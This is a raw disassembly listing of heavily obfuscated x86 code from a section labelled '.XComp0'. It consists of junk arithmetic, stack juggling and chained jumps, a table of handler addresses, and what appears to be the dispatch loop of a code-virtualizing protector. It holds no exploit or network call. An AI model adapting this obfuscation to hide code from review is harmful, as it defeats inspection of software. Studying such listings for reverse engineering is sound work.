loc_583118:				; CODE XREF: .XComp0:0057657Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57522F
; ---------------------------------------------------------------------------


loc_583129:				; CODE XREF: .XComp0:0057F1F9j
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		jmp	loc_57F76E
; ---------------------------------------------------------------------------


loc_583138:				; CODE XREF: .XComp0:00579CE1j
		add	esi, 67C77DD9h
		mov	ebp, [esp]
		push	edx
		jmp	loc_57EA2B
; ---------------------------------------------------------------------------
		xor	[esp], dx
		jmp	loc_57DABA
; ---------------------------------------------------------------------------


loc_583150:				; CODE XREF: .XComp0:0057FDFDj
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5796C7
; ---------------------------------------------------------------------------


loc_58315D:				; CODE XREF: .XComp0:0057C8BFj
		neg	esi
		jmp	loc_58332A
; ---------------------------------------------------------------------------


loc_583164:				; CODE XREF: .XComp0:005755A0j
		mov	esi, esp
		add	esi, 4
		jmp	loc_580521
; ---------------------------------------------------------------------------


loc_583171:				; CODE XREF: .XComp0:0057E44Fj
		push	edi
		mov	edi, 30D37061h
		xor	edi, 30D37065h
		sub	esi, edi
		jmp	loc_577F3B
; ---------------------------------------------------------------------------


loc_583184:				; CODE XREF: .XComp0:0057AFC8j
		or	edx, 442E4793h
		dec	edx
		jmp	loc_579C13
; ---------------------------------------------------------------------------


loc_583190:				; CODE XREF: .XComp0:0057F711j
		add	ebp, esi
		push	edi
		mov	edi, 38DD04D9h
		inc	edi
		shl	edi, 2
		not	edi
		inc	edi
		not	edi
		sub	edi, 6D329EDCh
		add	ebp, edi
		pop	edi
		pop	esi
		jmp	loc_57DD98
; ---------------------------------------------------------------------------


loc_5831B0:				; CODE XREF: .XComp0:0057A1DDj
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 0F11248Bh
		xor	esi, 70B748E4h
		neg	esi
		sub	esi, 0FFFFFFFFh
		jmp	loc_57A9CC
; ---------------------------------------------------------------------------


loc_5831CE:				; CODE XREF: .XComp0:00576B1Cj
		movzx	eax, al
		push	small 1F9Fh
		mov	[esp], ax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5831DE:				; CODE XREF: .XComp0:0057D7E0j
		xchg	ecx, [esp]
		jmp	loc_577E24
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		jmp	loc_57AE93
; ---------------------------------------------------------------------------


loc_583202:				; CODE XREF: .XComp0:005805ADj
		xor	ebx, [esp]
		jmp	loc_580012
; ---------------------------------------------------------------------------


loc_58320A:				; CODE XREF: .XComp0:00574409j
		sub	bl, al
		jmp	loc_57E797
; ---------------------------------------------------------------------------


loc_583211:				; CODE XREF: .XComp0:00573F5Fj
		or	ecx, 7CF54943h
		inc	ecx
		add	ecx, 2B4C4DE0h
		shl	ecx, 6
		push	eax
		mov	eax, 0EDA7F3D0h
		sub	ecx, eax
		pop	eax
		jmp	loc_576BBF
; ---------------------------------------------------------------------------


loc_58322F:				; CODE XREF: .XComp0:005746EBj
		or	ebp, 301B35EAh
		push	0
		sub	[esp], ebp
		pop	ebp
		add	ebp, 0B51BB5FCh
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		div	cl
		jmp	loc_5795FB
; ---------------------------------------------------------------------------


loc_583254:				; CODE XREF: .XComp0:005773F9j
		add	ebx, 346F7EC7h
		add	ebx, edi
		sub	ebx, 346F7EC7h
		jmp	loc_575E9C
; ---------------------------------------------------------------------------


loc_583267:				; CODE XREF: .XComp0:00576F41j
		add	ebx, 1842879h
		pop	ecx
		add	ebx, edi
		jmp	loc_581C18
; ---------------------------------------------------------------------------


loc_583275:				; CODE XREF: .XComp0:0057E568j
		sub	al, 27h
		jmp	loc_582128
; ---------------------------------------------------------------------------


loc_58327C:				; CODE XREF: .XComp0:0057F222j
		xor	ebx, edx
		pop	edx
		push	edi
		jmp	loc_580E9D
; ---------------------------------------------------------------------------


loc_583285:				; CODE XREF: .XComp0:0057B162j
		mov	edi, 0F5D387AFh
		add	edi, ecx
		pop	ecx
		shr	edi, 5
		jmp	loc_57C864
; ---------------------------------------------------------------------------


loc_583295:				; CODE XREF: .XComp0:0057B581j
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_57E60F
; ---------------------------------------------------------------------------


loc_5832A2:				; CODE XREF: .XComp0:0057E041j
		neg	esi
		sub	esi, 0A8A5BFC3h
		jmp	loc_57D03F
; ---------------------------------------------------------------------------


loc_5832AF:				; CODE XREF: .XComp0:0057A3B0j
		not	dl
		dec	dl
		and	dl, 0ECh
		or	dl, 2Ch
		xor	dl, 41h
		sub	al, 4Dh
		sub	al, 58h
		jmp	loc_5761FD
; ---------------------------------------------------------------------------


loc_5832C5:				; CODE XREF: .XComp0:00576493j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_574A3D
; ---------------------------------------------------------------------------


loc_5832D9:				; CODE XREF: .XComp0:00579B3Aj
		push	ebx
		mov	ebx, 44025280h
		jmp	loc_57B59A
; ---------------------------------------------------------------------------


loc_5832E4:				; CODE XREF: .XComp0:00573EA9j
		push	694Fh
		mov	[esp], edi
		push	esp
		jmp	loc_57C67A
; ---------------------------------------------------------------------------


loc_5832F2:				; CODE XREF: .XComp0:0057C7D3j
		pop	esp
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	eax
		push	ebp
		jmp	loc_57C606
; ---------------------------------------------------------------------------


loc_583306:				; CODE XREF: .XComp0:0057775Cj
		push	ecx
		mov	cl, 7Eh
		dec	cl
		jmp	loc_576B2B
; ---------------------------------------------------------------------------


loc_583310:				; CODE XREF: .XComp0:0057EF2Fj
		sub	esi, 0E2A3D36Fh
		add	ebp, esi
		jmp	loc_57F7B9
; ---------------------------------------------------------------------------


loc_58331D:				; CODE XREF: .XComp0:0057C4E1j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_57444D
; ---------------------------------------------------------------------------


loc_58332A:				; CODE XREF: .XComp0:0058315Fj
		add	esi, 5FB58F84h
		sub	eax, esi
		pop	esi
		jmp	loc_57B933
; ---------------------------------------------------------------------------


loc_583338:				; CODE XREF: .XComp0:00579FECj
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57A0BC
; ---------------------------------------------------------------------------


loc_583344:				; CODE XREF: .XComp0:00577A5Fj
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_57DB97
; ---------------------------------------------------------------------------


loc_583352:				; CODE XREF: .XComp0:0057AF8Aj
		xor	edx, 11BB2BF0h
		sub	ebp, edx
		pop	edx
		sub	ebp, 55879EEh
		shr	ebp, 1
		add	ebp, 82D4A80Dh
		mov	eax, ebp
		pop	ebp
		jmp	loc_581565
; ---------------------------------------------------------------------------


loc_583371:				; CODE XREF: .XComp0:00575204j
		mov	esi, edi
		mov	ecx, esi
		push	dword ptr [esp]
		jmp	loc_580368
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5758BD
; ---------------------------------------------------------------------------


loc_583398:				; CODE XREF: .XComp0:0057EB2Fj
		push	eax
		push	ecx
		mov	ch, dl
		jmp	loc_57CD26
; ---------------------------------------------------------------------------


loc_5833A1:				; CODE XREF: .XComp0:0057B924j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_57D067
; ---------------------------------------------------------------------------


loc_5833AC:				; CODE XREF: .XComp0:0057B6C2j
		mov	eax, 46657846h
		sub	eax, 65BC35B4h
		push	49E0h
		mov	[esp], edi
		mov	edi, 5BFD0936h
		add	edi, 532C0CB3h
		sub	edi, 0FFFFFFFFh
		push	esi
		mov	esi, 725A0544h
		sub	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 2F506F92h
		jmp	loc_57A648
; ---------------------------------------------------------------------------


loc_5833E3:				; CODE XREF: .XComp0:0057622Dj
		add	esp, 4
		push	381F40F3h
		mov	edi, [esp]
		add	esp, 4
		sub	edi, esi
		jmp	loc_57CE60
; ---------------------------------------------------------------------------


loc_5833FB:				; CODE XREF: .XComp0:0057A37Fj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58076F
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_58340C:				; CODE XREF: .XComp0:00578E0Dj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57C079
; ---------------------------------------------------------------------------


loc_583415:				; CODE XREF: .XComp0:0057AC74j
		add	esp, 4
		xchg	ebx, edi
		xchg	edi, ebp
		and	ebp, 7AD56ADFh
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_57F495
; ---------------------------------------------------------------------------


loc_583430:				; CODE XREF: .XComp0:0057640Fj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_573DF8
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		jmp	loc_574A70
; ---------------------------------------------------------------------------


loc_583455:				; CODE XREF: .XComp0:0057E174j
		mov	[esp], ecx
		mov	ecx, eax
		push	ecx
		sub	dword ptr [esp], 77545BB1h
		mov	edx, [esp]
		push	edi
		jmp	loc_573E48
; ---------------------------------------------------------------------------


loc_58346B:				; CODE XREF: .XComp0:00574720j
		sub	edi, 35D95768h
		sub	edi, ecx
		add	edi, 35D95768h
		pop	ecx
		inc	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_57D52F
; ---------------------------------------------------------------------------


loc_583498:				; CODE XREF: .XComp0:0057C39Cj
		push	eax
		jmp	loc_57A128
; ---------------------------------------------------------------------------


loc_58349E:				; CODE XREF: .XComp0:00576BD7j
		add	dword ptr [esp], 47BF03D6h
		add	[esp], eax
		jmp	loc_57C5BF
; ---------------------------------------------------------------------------


loc_5834AD:				; CODE XREF: .XComp0:0057CA41j
		inc	eax
		inc	eax
		xor	eax, 63E00BD2h
		xor	eax, 18177B13h
		xor	eax, 990C809Fh
		sub	edx, eax
		pop	eax
		jmp	loc_57F019
; ---------------------------------------------------------------------------


loc_5834C6:				; CODE XREF: .XComp0:00576E1Fj
		push	ebx
		mov	ebx, 56D4E8Dh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 43CA25E4h
		sub	ebx, edx
		jmp	loc_57BA1C
; ---------------------------------------------------------------------------


loc_5834E1:				; CODE XREF: .XComp0:0057CD16j
		add	esi, 4
		sub	esp, 4
		jmp	loc_5810D8
; ---------------------------------------------------------------------------


loc_5834EF:				; CODE XREF: .XComp0:00574448j
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_583513:				; CODE XREF: .XComp0:0057F59Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		push	eax
		mov	eax, 31B20A69h
		sub	ebx, eax
		pop	eax
		jmp	loc_57DD69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_58352F:				; CODE XREF: sub_5A47B5-31273j
		sub	al, 1Eh
		push	dx
		push	eax
		mov	ah, 99h
		sub	ah, 0Fh
		mov	dl, ah
		pop	eax
		add	al, dl
		jmp	loc_57D675
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_583543:				; CODE XREF: .XComp0:0057CC56j
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_57AB3D
; ---------------------------------------------------------------------------


loc_58354C:				; CODE XREF: .XComp0:005758B8j
		add	ebx, 29B41B1Dh
		jmp	loc_57429D
; ---------------------------------------------------------------------------


loc_583557:				; CODE XREF: .XComp0:005772B9j
		pop	ebx
		push	esi
		mov	esi, 68F9446Dh
		shr	esi, 6
		dec	esi
		push	ebx
		mov	ebx, 6C267B1Ah
		sub	esi, 77E459C7h
		add	esi, ebx
		add	esi, 77E459C7h
		pop	ebx
		shl	esi, 7
		add	esi, 8DB30147h
		sub	ebx, esi
		pop	esi
		sub	ebx, 0B5B70870h
		push	ebx
		jmp	loc_5812AD
; ---------------------------------------------------------------------------


loc_58358F:				; CODE XREF: .XComp0:0057A095j
		xchg	esi, [esp]
		jmp	loc_573D83
; ---------------------------------------------------------------------------


loc_583597:				; CODE XREF: .XComp0:0057C634j
		push	edi
		mov	edi, 112A3139h
		jmp	loc_573B21
; ---------------------------------------------------------------------------


loc_5835A2:				; CODE XREF: .XComp0:0057ADDCj
		push	308Eh
		mov	[esp], edx
		mov	edx, 76875A29h
		dec	edx
		xor	edx, 40D31432h
		push	ebp
		jmp	loc_575218
; ---------------------------------------------------------------------------


loc_5835BC:				; CODE XREF: .XComp0:005774F4j
		mov	ebx, 46946C1h
		shr	ebx, 6
		shr	ebx, 2
		jmp	loc_575B45
; ---------------------------------------------------------------------------


loc_5835CC:				; CODE XREF: .XComp0:0057CAFBj
		pop	edi
		push	ecx
		jmp	loc_57CBEF
; ---------------------------------------------------------------------------


loc_5835D3:				; CODE XREF: .XComp0:0057CF86j
		add	edx, 7470C04h
		mov	ecx, [esp]
		jmp	loc_579211
; ---------------------------------------------------------------------------


loc_5835E1:				; CODE XREF: .XComp0:00575E3Dj
		pop	esi
		pop	ebp
		not	ebp
		jmp	loc_574D3D
; ---------------------------------------------------------------------------


loc_5835EA:				; CODE XREF: .XComp0:00575937j
		mov	edx, 0A7D8F027h
		sub	eax, edx
		pop	edx
		sub	esp, 4
		jmp	loc_5772F0
; ---------------------------------------------------------------------------


loc_5835FD:				; CODE XREF: .XComp0:00578F05j
		mov	eax, 6BE0290Ah
		or	eax, 55203E97h
		jmp	loc_57FF3C
; ---------------------------------------------------------------------------


loc_58360C:				; CODE XREF: .XComp0:005796BAj
		mov	esi, [esp]
		add	esp, 4
		add	ebx, edi
		push	edx
		jmp	loc_58182B
; ---------------------------------------------------------------------------


loc_58361A:				; CODE XREF: .XComp0:0057F3DAj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_57F18C
; ---------------------------------------------------------------------------


loc_583626:				; CODE XREF: .XComp0:0057A397j
		add	ebx, 93832FEFh
		mov	ecx, ebx
		pop	ebx
		add	edx, ecx
		jmp	loc_574431
; ---------------------------------------------------------------------------


loc_583636:				; CODE XREF: .XComp0:00573E03j
		add	esp, 4
		shl	ebp, 3
		shl	ebp, 1
		shl	ebp, 3
		inc	ebp
		push	edi
		mov	edi, 3D2B4025h
		sub	edi, 1
		jmp	loc_5802E1
; ---------------------------------------------------------------------------


loc_583653:				; CODE XREF: .XComp0:0057DAF0j
		add	edi, 4
		push	eax
		mov	eax, 4DFE4287h
		push	ecx
		mov	ecx, 55F2D2Dh
		or	ecx, 5DE17A8Ah
		sub	ecx, 10E91B4Bh
		shl	ecx, 3
		or	ecx, 1B431D88h
		add	ecx, 0D20B02DBh
		xor	eax, ecx
		pop	ecx
		sub	edi, 59D66E68h
		add	edi, eax
		push	edx
		jmp	loc_575FB6
; ---------------------------------------------------------------------------
		push	1DD6h
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		push	edx
		mov	edx, 7F525127h
		sub	[esp+8], edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 1B617BFh
		add	[esp+8], esi
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], esi
		sub	dword ptr [esp+4], 1B617BFh
		add	dword ptr [esp+4], 7F525127h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5753F6
; ---------------------------------------------------------------------------


loc_5836EB:				; CODE XREF: .XComp0:0057CF00j
		add	esi, 4
		jmp	loc_5792C7
; ---------------------------------------------------------------------------


loc_5836F6:				; CODE XREF: .XComp0:0057756Ej
		shr	cl, 8
		jmp	loc_581E04
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	38CAh
		mov	[esp], edi
		push	ebp
		jmp	loc_5755F5
; ---------------------------------------------------------------------------


loc_58371E:				; CODE XREF: .XComp0:0057746Cj
		mov	[esp], edx
		jmp	loc_581EF6
; ---------------------------------------------------------------------------


loc_583726:				; CODE XREF: .XComp0:005829AAj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_573B2C
; ---------------------------------------------------------------------------


loc_583731:				; CODE XREF: .XComp0:0057DFCFj
		add	esp, 4
		jmp	loc_57776F
; ---------------------------------------------------------------------------
		dd offset loc_5E6C4C+2
		dd offset byte_5E5825
; ---------------------------------------------------------------------------
		retf	5D83h
; ---------------------------------------------------------------------------
		dd 12FF4CFAh, 5E478700h, 5DB5ED00h, 90EB94FAh, 2137Ch
		dd 200h, 100h, 300h, 5DB5ED00h,	0FAh, 4	dup(0)
		dd 594E9400h, 58636100h, 5873B500h, 5949F600h, 593C5900h
		dd 59165700h, 583F6000h, 5950CC00h, 5911DD00h, 590F8D00h
		dd 58B8C900h, 590A0E00h, 58B20400h, 58E62000h, 58A22900h
		dd 584F0700h, 5941F200h, 58D2F500h, 58BA7900h, 58CF0F00h
		dd 58735500h, 593CA100h, 589C4700h, 5850A500h, 58C56000h
		dd 58DDF900h, 593C9100h, 594FF500h, 59578300h, 58975E00h
		dd 58515500h, 58E59500h, 5847C800h, 58953300h, 58477200h
		dd 58949C00h, 58B18F00h, 5977BB00h, 58E2DA00h, 58B32800h
		dd 58C60E00h, 589A1F00h, 58654700h, 58998900h, 597D0F00h
		dd 5959AE00h, 595FD700h, 58495400h, 58BD7900h, 58857000h
		dd 58459E00h, 58B5A600h, 58FC5200h, 59696200h, 58E1F000h
		dd 584FAE00h, 596E9D00h, 59209E00h, 58BD1900h, 58F7CC00h
		dd 58CC6500h, 59464500h, 593BF000h, 58622B00h, 58BE0200h
		dd 583D1200h, 589A7300h, 5940D000h, 58563900h, 589DC300h
		dd 58611D00h, 587D9600h, 59736600h, 5945DE00h, 58C42C00h
		dd 595EA300h, 59108C00h, 58FD2C00h, 5842A300h, 58FD1100h
		dd 587E5C00h, 5923E400h, 59007100h, 58EA4300h, 59561F00h
		dd 58D59100h, 5880DE00h, 5944C900h, 59227000h, 583B4800h
		dd 58470B00h, 595F2E00h, 58890B00h, 592D0E00h, 59162C00h
		dd 594FA800h, 58BD5D00h, 58827A00h, 59851100h, 59503600h
		dd 590EC300h, 5899D700h, 58C57900h, 58A33900h, 59195B00h
		dd 58EB5E00h, 596E4E00h, 58E91800h, 58660600h, 593B6D00h
		dd 589CF100h, 59605600h, 590B9400h, 585D6A00h, 58A25300h
		dd 5871BD00h, 590A5F00h, 5948AE00h, 59252900h, 588AFC00h
		dd 593CB500h, 58754700h, 59087700h, 59177300h, 58E68B00h
		dd 58737400h, 588E1D00h, 58799900h, 595F0800h, 585F5B00h
		dd 58AEDE00h, 595AFD00h, 58F9BD00h, 5875EB00h, 590D9C00h
		dd 58C18D00h, 58D0D700h, 58AF3000h, 58CD5800h, 586D5700h
		dd 58766A00h, 58C5ED00h, 588E9D00h, 59562800h, 59289100h
		dd 58DEBB00h, 59055900h, 58400C00h, 58608B00h, 58E30700h
		dd 59604D00h, 583BB200h, 5989CE00h, 58731600h, 59230200h
		dd 58C42400h, 5895FE00h, 5955D300h, 596D5800h, 58E4DC00h
		dd 58499500h, 59439100h, 589D1000h, 58F8C800h, 59150800h
		dd 5982C100h, 58CFE600h
		db 0
; ---------------------------------------------------------------------------


loc_583A19:				; CODE XREF: .XComp0:005D0022j
					; .XComp0:005D002Cj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5FA8434h
		mov	eax, edi
		add	edi, 5FA814Ch
		cmp	eax, [edi+2Ch]
		jnz	short loc_583A37
		jmp	short loc_583A4A
; ---------------------------------------------------------------------------


loc_583A37:				; CODE XREF: .XComp0:00583A33j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_583A46
; ---------------------------------------------------------------------------


loc_583A41:				; CODE XREF: .XComp0:00583A48j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_583A46:				; CODE XREF: .XComp0:00583A3Fj
		or	ecx, ecx
		jnz	short loc_583A41


loc_583A4A:				; CODE XREF: .XComp0:00583A35j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_583A57:				; CODE XREF: .XComp0:00583A5Ej
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_583A57


loc_583A60:				; CODE XREF: .XComp0:00583E60j
					; .XComp0:00583F62j ...
		lodsb
		jmp	loc_586B9A
; ---------------------------------------------------------------------------


loc_583A66:				; CODE XREF: .XComp0:00587292j
		xor	bh, al
		mov	eax, [esp]
		add	esp, 4
		sub	al, 0CEh
		jmp	loc_58B497
; ---------------------------------------------------------------------------


loc_583A78:				; CODE XREF: .XComp0:0058DB63j
		push	eax
		mov	eax, 24F721Eh
		sub	ebp, 3C3151D9h
		sub	ebp, eax
		add	ebp, 3C3151D9h
		pop	eax
		jmp	loc_5894A8
; ---------------------------------------------------------------------------


loc_583A92:				; CODE XREF: .XComp0:0058D62Cj
		xchg	ebp, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_584BC7
; ---------------------------------------------------------------------------


loc_583AA1:				; CODE XREF: .XComp0:0058592Fj
		mov	edx, 4
		add	edi, 0C6A4255h
		sub	edi, 0FAA4149h
		add	edi, 98332Fh
		add	edi, edx
		sub	edi, 98332Fh
		add	edi, 0FAA4149h
		push	edx
		mov	edx, 0C6A4255h
		sub	edi, edx
		pop	edx
		jmp	loc_598CDE
; ---------------------------------------------------------------------------


loc_583AD4:				; CODE XREF: .XComp0:005896D8j
		mov	dh, 34h
		xor	dh, 74h
		xor	dh, 9Ch
		sub	esp, 4
		mov	[esp], eax
		mov	al, dh
		mov	cl, al
		jmp	loc_58B979
; ---------------------------------------------------------------------------


loc_583AEE:				; CODE XREF: .XComp0:00592F88j
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 0CE92B34h
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		jmp	loc_59494D
; ---------------------------------------------------------------------------


loc_583B07:				; CODE XREF: .XComp0:00584A15j
		mov	[esp], cx
		push	ax
		push	edx
		jmp	loc_598352
; ---------------------------------------------------------------------------


loc_583B13:				; CODE XREF: .XComp0:0058B01Fj
		mov	eax, [esp]
		jmp	loc_58B624
; ---------------------------------------------------------------------------


loc_583B1B:				; CODE XREF: .XComp0:00594C8Cj
		sub	eax, esi
		pop	esi
		xor	ecx, eax
		pop	eax
		mov	eax, ecx
		pop	ecx
		sub	ebp, 68FA3521h
		add	ebp, eax
		add	ebp, 68FA3521h
		jmp	loc_5841B7
; ---------------------------------------------------------------------------


loc_583B37:				; CODE XREF: .XComp0:0058FDE6j
		add	esp, 4
		sub	esp, 4
		jmp	loc_597001
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_595107
; ---------------------------------------------------------------------------


loc_583B50:				; CODE XREF: .XComp0:0059552Ej
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 17FF5E9Dh
		sub	ebp, ecx
		sub	ebp, 17FF5E9Dh
		add	ebp, 1D875ABDh
		pop	ecx
		jmp	loc_5984FE
; ---------------------------------------------------------------------------


loc_583B72:				; CODE XREF: .XComp0:00588A47j
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		not	ebp
		add	ebp, 0D11E6CEAh
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_598486
; ---------------------------------------------------------------------------


loc_583B9B:				; CODE XREF: .XComp0:00592947j
		mov	esi, 38D029D8h
		add	[esp+4], esi
		pop	esi
		pop	ecx
		sub	ecx, 38D029D8h
		pop	edx
		jmp	loc_5860EA
; ---------------------------------------------------------------------------
		push	67E4h
		mov	[esp], edi
		jmp	loc_586181
; ---------------------------------------------------------------------------


loc_583BBF:				; CODE XREF: .XComp0:0058648Fj
		sub	eax, 398B417Fh
		add	eax, 7BAF0E3Fh
		sub	eax, edi
		sub	eax, 7BAF0E3Fh
		jmp	loc_596752
; ---------------------------------------------------------------------------


loc_583BD5:				; CODE XREF: .XComp0:005933A9j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp


loc_583BDC:				; CODE XREF: .XComp0:00587BE1j
					; .XComp0:0058EC98j
		push	dword ptr [edi+24h]
		add	dword ptr [esp], 71F559BBh
		jmp	loc_59821D
; ---------------------------------------------------------------------------


loc_583BEB:				; CODE XREF: .XComp0:005872D8j
		mov	[esp], ebx
		jmp	loc_59828E
; ---------------------------------------------------------------------------


loc_583BF3:				; CODE XREF: .XComp0:0058B2D3j
		add	esp, 4
		xor	ebp, 42A01583h
		jmp	loc_5981F1
; ---------------------------------------------------------------------------


loc_583C01:				; CODE XREF: .XComp0:00598007j
		pop	ebx
		jmp	loc_585954
; ---------------------------------------------------------------------------


loc_583C07:				; CODE XREF: .XComp0:0058569Fj
		push	ebx
		mov	ebx, 4AF43B19h
		and	ebx, 7A4E4418h
		not	ebx
		dec	ebx
		add	ebx, 4A44001Eh
		sub	eax, ebx
		jmp	loc_5921BD
; ---------------------------------------------------------------------------


loc_583C23:				; CODE XREF: .XComp0:005961E1j
		pop	eax
		jmp	loc_595F38
; ---------------------------------------------------------------------------


loc_583C29:				; CODE XREF: .XComp0:0058F321j
		add	esi, 38D34972h
		xor	esi, 5D58FFB1h
		jmp	loc_593D33
; ---------------------------------------------------------------------------


loc_583C3A:				; CODE XREF: .XComp0:0058DF4Aj
		add	eax, 4
		sub	eax, 4
		jmp	loc_595C63
; ---------------------------------------------------------------------------


loc_583C47:				; CODE XREF: .XComp0:0058F50Fj
		sub	ebp, 6C2209FCh
		jmp	loc_587505
; ---------------------------------------------------------------------------


loc_583C52:				; CODE XREF: .XComp0:00588B20j
		pop	esp
		push	3988h
		mov	[esp], edx
		push	eax
		mov	eax, 725D6F1Ch
		or	eax, 19B37874h
		sub	eax, 28DA0865h
		push	ecx
		mov	ecx, 54EA282Ah
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 9B3005B9h
		mov	edx, eax
		pop	eax
		xchg	ecx, edx
		dec	ecx
		push	253Fh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		pop	edx
		jmp	loc_586CF9
; ---------------------------------------------------------------------------


loc_583C9B:				; CODE XREF: .XComp0:005862B7j
		add	al, 0C0h
		sub	al, dl
		sub	al, 0C0h
		pop	edx
		push	3672h
		mov	[esp], ecx
		mov	ch, 31h
		sub	al, 6Bh
		add	al, ch
		add	al, 6Bh
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	dh, 8Eh
		mov	cl, dh
		push	dword ptr [esp]
		jmp	loc_589E26
; ---------------------------------------------------------------------------


loc_583CC9:				; CODE XREF: .XComp0:0059319Aj
		push	26AEh
		mov	[esp], edi
		mov	edi, 68F41B04h
		xor	ebx, edi
		pop	edi
		push	ebx
		xor	dword ptr [esp], 67444C36h
		pop	eax
		xor	eax, 67444C36h
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_5950AB
; ---------------------------------------------------------------------------


loc_583D04:				; CODE XREF: .XComp0:005964B9j
		push	ebx
		mov	ebx, 0D1323384h
		add	edi, ebx
		pop	ebx
		jmp	loc_596A9F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4943h
		jmp	loc_58472B
; ---------------------------------------------------------------------------


loc_583D20:				; CODE XREF: .XComp0:005873DCj
		shr	ebp, 2
		sub	ebp, 28AB5DE2h
		sub	ebp, 896FC0ACh
		jmp	loc_597D24
; ---------------------------------------------------------------------------


loc_583D34:				; CODE XREF: .XComp0:00587350j
		mov	ebp, 48EC39E1h
		mov	esi, 14371B7Eh
		xor	esi, ebp
		pop	ebp
		jmp	loc_58B82F
; ---------------------------------------------------------------------------


loc_583D46:				; CODE XREF: .XComp0:00597659j
		mov	esi, 4
		add	eax, esi
		jmp	loc_594AEC
; ---------------------------------------------------------------------------


loc_583D52:				; CODE XREF: .XComp0:0059532Cj
		mov	ch, 0D4h
		and	ch, 2Dh
		add	ch, 1
		jmp	loc_596358
; ---------------------------------------------------------------------------


loc_583D5F:				; CODE XREF: .XComp0:0058E468j
		pop	dx
		pop	ecx
		push	78A6h
		jmp	loc_595DE0
; ---------------------------------------------------------------------------


loc_583D6C:				; CODE XREF: .XComp0:00587521j
		pop	ebp
		add	ebp, 4
		jmp	loc_58BB8B
; ---------------------------------------------------------------------------


loc_583D78:				; CODE XREF: .XComp0:0058B675j
		push	ebp
		mov	ebp, 62423AA8h
		push	ebp
		neg	dword ptr [esp]
		jmp	loc_59502E
; ---------------------------------------------------------------------------


loc_583D87:				; CODE XREF: .XComp0:0058EA8Ej
		inc	edi
		sub	edi, 0C5CB6BF7h
